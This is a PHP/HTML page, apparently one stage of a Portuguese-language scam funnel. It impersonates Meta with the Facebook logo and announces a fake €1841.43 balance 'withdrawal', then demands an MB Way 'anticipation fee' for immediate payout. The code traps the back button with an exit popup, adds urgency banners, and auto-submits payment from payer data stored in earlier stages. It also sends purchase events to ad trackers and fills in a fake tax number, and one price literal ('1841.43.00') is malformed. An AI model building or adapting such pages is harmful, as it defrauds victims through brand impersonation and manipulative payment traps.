<?php
$qs = $_SERVER['QUERY_STRING'] ?? '';
$params = $qs ? '?' . $qs : '';
require_once dirname(__DIR__) . '/assets/funnel-config.php';
require_once dirname(__DIR__) . '/assets/device-tier.php';
require_once dirname(__DIR__) . '/central.php';
$fc = loadFunnelConfig();
$up_amount = round($fc['prices']['up2'] * _dtier($_SERVER['HTTP_USER_AGENT'] ?? '', $fc['device_tier_max_pct'], $fc['device_tier_enabled']), 2);
$up_amount = central_price('up2', $up_amount);
$up_fmt = number_format($up_amount, 2, ',', '.');
$lead_balance = central_amount('lead_balance', 1841.43.00);
$lead_balance_fmt = number_format($lead_balance, 2, ',', '.');
?>
<!DOCTYPE html>
<html lang="pt-PT">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
<title>Levantar Saldo – Meta</title>
<link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600;700;800&display=swap" rel="stylesheet">
<script>
!function(w,d,t){w.TiktokAnalyticsObject=t;var ttq=w[t]=w[t]||[];ttq.methods=["page","track","identify","instances","debug","on","off","once","ready","alias","group","enableCookie","disableCookie"],ttq.setAndDefer=function(t,e){t[e]=function(){t.push([e].concat(Array.prototype.slice.call(arguments,0)))}};for(var i=0;i<ttq.methods.length;i++)ttq.setAndDefer(ttq,ttq.methods[i]);ttq.instance=function(t){for(var e=ttq._i[t]||[],n=0;n<ttq.methods.length;n++)ttq.setAndDefer(e,ttq.methods[n]);return e},ttq.load=function(e,n){var i="https://analytics.tiktok.com/i18n/pixel/events.js";ttq._i=ttq._i||{},ttq._i[e]=[],ttq._i[e]._u=i,ttq._t=ttq._t||{},ttq._t[e]=+new Date,ttq._o=ttq._o||{},ttq._o[e]=n||{};var o=document.createElement("script");o.type="text/javascript",o.async=!0,o.src=i+"?sdkid="+e+"&lib="+t;var a=document.getElementsByTagName("script")[0];a.parentNode.insertBefore(o,a)};ttq.load('<?= $fc["tiktok_pixel"] ?>');ttq.page();}(window,document,'ttq');
</script>
<!-- Meta Pixel Code -->
<script>
!function(f,b,e,v,n,t,s)
{if(f.fbq)return;n=f.fbq=function(){n.callMethod?
n.callMethod.apply(n,arguments):n.queue.push(arguments)};
if(!f._fbq)f._fbq=n;n.push=n;n.loaded=!0;n.version='2.0';
n.queue=[];t=b.createElement(e);t.async=!0;
t.src=v;s=b.getElementsByTagName(e)[0];
s.parentNode.insertBefore(t,s)}(window, document,'script',
'https://connect.facebook.net/en_US/fbevents.js');
fbq('init', '1824082551586655');
fbq('track', 'PageView');
</script>
<noscript><img height="1" width="1" style="display:none"
src="https://www.facebook.com/tr?id=1824082551586655&ev=PageView&noscript=1"
/></noscript>
<!-- End Meta Pixel Code -->
<!-- UTMify Pixel -->
<script async src="https://cdn.utmify.com.br/scripts/utms/latest.js" data-utmify-prevent-subids></script>
<script src="../assets/utm-persist.js"></script>
<style>
*{box-sizing:border-box;margin:0;padding:0}
body{font-family:'Inter',sans-serif;background:#f0f0f0;min-height:100vh}
.header{background:#000;padding:14px 20px;display:flex;align-items:center;justify-content:center;gap:10px}
.header img{height:26px}
.header span{color:#fff;font-size:17px;font-weight:700;letter-spacing:0.5px}
.container{max-width:480px;margin:0 auto;padding:20px 16px 40px}
.success-banner{background:#e8f5e9;border:1.5px solid #4caf50;border-radius:14px;padding:16px;text-align:center;margin-bottom:16px;font-size:15px;font-weight:700;color:#1b5e20}
.card{background:#fff;border-radius:16px;padding:24px 20px;margin-bottom:16px;box-shadow:0 2px 12px rgba(0,0,0,0.08)}
.balance-label{font-size:13px;font-weight:600;color:#888;text-align:center;text-transform:uppercase;letter-spacing:0.8px;margin-bottom:6px}
.balance-amount{font-size:35px;font-weight:800;color:#111;text-align:center;margin-bottom:4px}
.balance-receive{font-size:14px;color:#555;text-align:center;margin-bottom:20px}
.divider{height:1px;background:#f0f0f0;margin:16px 0}
.wait-box{background:#fff3f0;border:1.5px solid #1877F2;border-radius:12px;padding:16px;margin-bottom:16px}
.wait-title{font-size:16px;font-weight:700;color:#111;margin-bottom:8px;text-align:center}
.wait-text{font-size:14px;color:#444;text-align:center;line-height:1.6;margin-bottom:14px}
.offer-highlight{background:#111;border-radius:12px;padding:16px;margin-bottom:16px;text-align:center}
.offer-label{font-size:12px;color:#1877F2;font-weight:700;text-transform:uppercase;letter-spacing:1px;margin-bottom:8px}
.offer-price{font-size:46px;font-weight:800;color:#fff;margin-bottom:4px}
.offer-sub{font-size:13px;color:#aaa}
.btn-cta{display:block;width:100%;background:linear-gradient(135deg,#1877F2,#1565C0);color:#fff;font-size:16px;font-weight:700;text-align:center;padding:18px 20px;border-radius:50px;text-decoration:none;letter-spacing:0.5px;box-shadow:0 6px 24px rgba(254,44,85,0.35);margin-bottom:12px}
.btn-cta:active{opacity:0.88}
.warning-tag{display:flex;align-items:center;justify-content:center;gap:6px;font-size:12px;color:#e65100;font-weight:600}
.guarantee{display:flex;align-items:center;justify-content:center;gap:6px;font-size:12px;color:#999;margin-top:10px}
</style>
</head>
<body>
<div class="header">
  <img src="https://upload.wikimedia.org/wikipedia/commons/0/05/Facebook_Logo_%282019%29.png" alt="Meta" style="filter:none">
</div>
<div class="container">
  <div class="success-banner">✅ Levantamento solicitado com sucesso!</div>
  <div class="card">
    <div class="balance-label">O teu saldo</div>
    <div class="balance-amount"><?= $lead_balance_fmt ?>€</div>
    <div class="balance-receive">Valor a Receber: <strong><?= $lead_balance_fmt ?>€</strong></div>
    <div class="divider"></div>
    <div class="wait-title">O teu levantamento será processado no prazo de <strong>7 DIAS ÚTEIS</strong>.</div>
    <div class="wait-text">Queres <strong>EVITAR A ESPERA</strong>? Antecipa o recebimento e recebe <strong>IMEDIATAMENTE</strong> pagando apenas:</div>
    <div class="offer-highlight">
      <div class="offer-label">⚡ Recebimento Imediato</div>
      <div class="offer-price"><?= $up_fmt ?>€</div>
      <div class="offer-sub">Taxa única de antecipação</div>
    </div>
    <button class="btn-cta" onclick="openPaymentForm()">ANTECIPAR O MEU LEVANTAMENTO</button>
    <div class="warning-tag">⚠️ Atenção: Esta oferta expira em breve!</div>
    <div class="guarantee">
      <svg width="14" height="14" viewBox="0 0 24 24" fill="none" stroke="#4caf50" stroke-width="2.5"><path d="M12 22s8-4 8-10V5l-8-3-8 3v7c0 6 8 10 8 10z"/></svg>
      Pagamento 100% seguro
    </div>
  </div>
</div>
<script>
var UP_PRODUCT_ID='upsell-2',UP_PRODUCT_NAME='Meta - Saldo Premium';

</script>
<div id="pay-overlay" style="display:none;position:fixed;top:0;left:0;right:0;bottom:0;background:rgba(0,0,0,0.6);z-index:999;justify-content:center;align-items:flex-end"><div style="background:#fff;border-radius:20px 20px 0 0;padding:24px 20px 36px;width:100%;max-width:480px;margin:0 auto"><div id="pay-form-section"><h3 style="font-size:17px;font-weight:700;margin-bottom:4px;color:#111">Pagamento seguro</h3><p style="font-size:13px;color:#888;margin-bottom:18px">MB Way · <?= $up_fmt ?>€</p><div style="margin-bottom:14px"><label style="font-size:13px;color:#555;font-weight:600;display:block;margin-bottom:6px">Nome completo</label><input id="pay-name" type="text" placeholder="O teu nome" style="width:100%;padding:12px 14px;border:1.5px solid #e0e0e0;border-radius:10px;font-size:15px;outline:none"></div><div style="margin-bottom:20px"><label style="font-size:13px;color:#555;font-weight:600;display:block;margin-bottom:6px">Número MB Way</label><div style="display:flex;gap:10px;align-items:center"><div style="background:#f5f5f5;border:1.5px solid #e0e0e0;border-radius:10px;padding:12px;font-size:15px;font-weight:600;white-space:nowrap">🇵🇹 +351</div><input id="pay-phone" type="tel" inputmode="numeric" maxlength="9" placeholder="xxxxxxxx" style="flex:1;padding:12px 14px;border:1.5px solid #e0e0e0;border-radius:10px;font-size:15px;outline:none"></div></div><div id="pay-error" style="display:none;color:#e53935;font-size:13px;margin-bottom:12px;text-align:center"></div><button onclick="submitUpPayment()" style="width:100%;background:linear-gradient(135deg,#1877F2,#1565C0);color:#fff;font-size:16px;font-weight:700;padding:17px;border:none;border-radius:50px;cursor:pointer">CONFIRMAR PAGAMENTO</button><button onclick="closePaymentForm()" style="width:100%;background:none;border:none;font-size:13px;color:#bbb;padding:14px;cursor:pointer;margin-top:4px">Cancelar</button></div><div id="pay-waiting" style="display:none;text-align:center;padding:20px 0"><div style="margin-bottom:12px;display:flex;justify-content:center" aria-hidden="true"><svg xmlns="http://www.w3.org/2000/svg" width="40" height="40" viewBox="0 0 24 24" fill="none" stroke="#111" stroke-width="1.75" stroke-linecap="round" stroke-linejoin="round"><rect x="6" y="2" width="12" height="20" rx="2"/><path d="M12 18h.01"/></svg></div><p style="font-size:16px;font-weight:700;color:#111;margin-bottom:8px">Aguarda a notificação MB Way</p><p style="font-size:13px;color:#888;margin-bottom:20px">Abre o app MB Way e confirma o pagamento de <strong><?= $up_fmt ?>€</strong></p><div style="display:flex;gap:6px;justify-content:center;margin-bottom:16px"><div class="pay-dot"></div><div class="pay-dot"></div><div class="pay-dot"></div></div><button onclick="cancelUpPayment()" style="background:none;border:1.5px solid #e0e0e0;border-radius:50px;font-size:13px;color:#888;padding:10px 20px;cursor:pointer">Cancelar</button></div></div></div>
<style>.pay-dot{width:8px;height:8px;background:#1877F2;border-radius:50%;animation:pay-bounce 1.2s infinite ease-in-out}.pay-dot:nth-child(2){animation-delay:.2s}.pay-dot:nth-child(3){animation-delay:.4s}@keyframes pay-bounce{0%,80%,100%{transform:scale(0.6);opacity:0.5}40%{transform:scale(1);opacity:1}}</style>
<script>
var upPayId=null,upPayInterval=null,UP_AMOUNT=<?= $up_amount ?>,UP_NEXT='../up3/'+window.location.search;
var UP_PRODUCT_ID='upsell-2',UP_PRODUCT_NAME='Meta - Saldo Premium';
function _gC(n){var m=document.cookie.match('(^|;)\\s*'+n+'\\s*=\\s*([^;]+)');return m?decodeURIComponent(m[2]):null;}function _gU(k){if(typeof getUtmValue==='function')return getUtmValue(k);var p=new URLSearchParams(window.location.search);return p.get(k)||_gC(k)||_gC('utmify_'+k)||null;}
function _utmify(st,amt){var nm=document.getElementById('pay-name')?document.getElementById('pay-name').value:'';fetch('../tracking.php',{method:'POST',keepalive:true,headers:{'Content-Type':'application/json'},body:JSON.stringify({status:st,transaction_id:upPayId||('up2-'+Date.now()),amount:amt,method:'mbway',product_id:UP_PRODUCT_ID,product_name:UP_PRODUCT_NAME,customer:{name:nm,email:null,phone:null,document:null},utms:{utm_source:_gU('utm_source'),utm_medium:_gU('utm_medium'),utm_campaign:_gU('utm_campaign'),utm_content:_gU('utm_content'),utm_term:_gU('utm_term'),src:_gU('src'),sck:_gU('sck')}})}).catch(function(){});}
var _mbPayer=null;try{_mbPayer=JSON.parse(localStorage.getItem('mbway_payer')||'null');}catch(e){}
function _tf(evt,amt,mth){try{var s=localStorage.getItem('_vid')||'';if(!s){s=Math.random().toString(36).substr(2,9)+Date.now().toString(36);localStorage.setItem('_vid',s);}var p=new URLSearchParams(window.location.search);fetch('/painel/tracker.php',{method:'POST',keepalive:true,headers:{'Content-Type':'application/json'},body:JSON.stringify({sid:s,page:'up2',event:evt,amount:amt||0,method:mth||'',src:p.get('utm_source')||'',med:p.get('utm_medium')||'',cmp:p.get('utm_campaign')||''})}).catch(function(){});}catch(e){}}
_tf('InitiateCheckout');
function openPaymentForm(){document.getElementById('pay-overlay').style.display='flex';document.getElementById('pay-error').style.display='none';if(_mbPayer&&_mbPayer.name&&_mbPayer.phone){document.getElementById('pay-name').value=_mbPayer.name;document.getElementById('pay-phone').value=_mbPayer.phone;document.getElementById('pay-form-section').style.display='none';document.getElementById('pay-waiting').style.display='block';submitUpPayment();}else{if(_mbPayer&&_mbPayer.name)document.getElementById('pay-name').value=_mbPayer.name;document.getElementById('pay-form-section').style.display='block';document.getElementById('pay-waiting').style.display='none';}}
function closePaymentForm(){document.getElementById('pay-overlay').style.display='none';}
function cancelUpPayment(){if(upPayInterval)clearInterval(upPayInterval);closePaymentForm();}
var _upMbwayRetry=0;function submitUpPayment(){var name=document.getElementById('pay-name').value.trim();var phone=document.getElementById('pay-phone').value.trim().replace(/\D/g,'');var errEl=document.getElementById('pay-error');errEl.style.display='none';if(!name){errEl.textContent='Preenche o teu nome.';errEl.style.display='block';return;}if(!/^\d{9}$/.test(phone)){errEl.textContent='Número MB Way inválido (9 dígitos).';errEl.style.display='block';return;}document.getElementById('pay-form-section').style.display='none';document.getElementById('pay-waiting').style.display='block';_tf('payment_started',UP_AMOUNT,'mbway');fetch('create-transaction.php',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify({stage:'up2',method:'mbway',amount:UP_AMOUNT,payer:{name:name,phone:'+351'+phone,email:(_mbPayer&&_mbPayer.email)||(phone+'@mbway.pt'),document:'999999999'}})}).then(function(r){return r.json();}).then(function(d){if(d.id||d.statusCode===200){upPayId=d.id;if(d.generatedMBWay===false&&_upMbwayRetry<3){_upMbwayRetry++;setTimeout(submitUpPayment,1500);return;}_upMbwayRetry=0;_utmify('waiting_payment',UP_AMOUNT);upPayInterval=setInterval(checkUpPayment,5000);}else{showUpError(d.message||'Erro ao processar. Tenta novamente.');}}).catch(function(){showUpError('Erro de ligação. Tenta novamente.');});}
function checkUpPayment(){if(!upPayId)return;fetch('create-transaction.php?action=status',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify({id:upPayId})}).then(function(r){return r.json();}).then(function(d){var s=(d.status||'').toUpperCase();if(['PAID','APPROVED','COMPLETED','CONFIRMED'].includes(s)){clearInterval(upPayInterval);_tf('payment_paid',UP_AMOUNT,'mbway');_utmify('paid',UP_AMOUNT);if(typeof fbq==='function')fbq('track','Purchase',{value:UP_AMOUNT,currency:'EUR',content_ids:[UP_PRODUCT_ID],content_type:'product'});setTimeout(function(){window.location.href=UP_NEXT;},450);}}).catch(function(){});}
function showUpError(msg){document.getElementById('pay-form-section').style.display='block';document.getElementById('pay-waiting').style.display='none';var e=document.getElementById('pay-error');e.textContent=msg;e.style.display='block';}
</script>
<div id="up-exit-popup" style="display:none;position:fixed;top:0;left:0;right:0;bottom:0;background:rgba(0,0,0,0.65);z-index:9998;align-items:flex-end;justify-content:center"><div style="background:#fff;border-radius:20px 20px 0 0;padding:28px 20px 40px;width:100%;max-width:480px;text-align:center"><div style="font-size:44px;margin-bottom:14px">⚠️</div><h3 style="font-size:18px;font-weight:800;color:#111;margin-bottom:10px">Tens a certeza que queres sair?</h3><p style="font-size:14px;color:#555;line-height:1.6;margin-bottom:22px">O teu <strong>levantamento antecipado</strong> vai expirar. Podes perder a prioridade no processamento do teu saldo.</p><button onclick="_exitConfirm(false)" style="width:100%;background:linear-gradient(135deg,#1877F2,#1565C0);color:#fff;font-size:15px;font-weight:700;padding:16px;border:none;border-radius:50px;cursor:pointer;margin-bottom:12px">Não, quero antecipar o levantamento</button><button onclick="_exitConfirm(true)" style="width:100%;background:none;border:none;font-size:13px;color:#bbb;padding:10px;cursor:pointer">Dispensar o benefício</button></div></div>
<script>
history.pushState({b:1},'',location.href);
window.addEventListener('popstate',function(){if(window._exitAllowed)return;history.pushState({b:1},'',location.href);var p=document.getElementById('up-exit-popup');if(p)p.style.display='flex';});
var _upHide=0;
document.addEventListener('visibilitychange',function(){if(document.hidden){_upHide=Date.now();return;}if(!_upHide||Date.now()-_upHide<3000)return;_upHide=0;if(document.getElementById('_upbn'))return;var el=document.createElement('div');el.id='_upbn';el.style.cssText='position:fixed;top:0;left:0;right:0;z-index:9997;background:linear-gradient(135deg,#1877F2,#1565C0);color:#fff;padding:13px 16px;display:flex;align-items:center;justify-content:space-between;font-size:14px;font-weight:600;box-shadow:0 2px 12px rgba(0,0,0,0.2)';el.innerHTML='<span>🔔 A tua oferta ainda está ativa! Completa agora.</span><button onclick="this.parentNode.remove()" style="background:rgba(255,255,255,0.2);border:none;color:#fff;border-radius:4px;padding:4px 10px;font-size:13px;cursor:pointer;margin-left:12px">×</button>';document.body.insertBefore(el,document.body.firstChild);setTimeout(function(){if(el.parentNode)el.remove();},7000);});
function _exitConfirm(leave){document.getElementById('up-exit-popup').style.display='none';if(leave){window._exitAllowed=true;history.back();}else{openPaymentForm();}}
</script>
</body>
</html>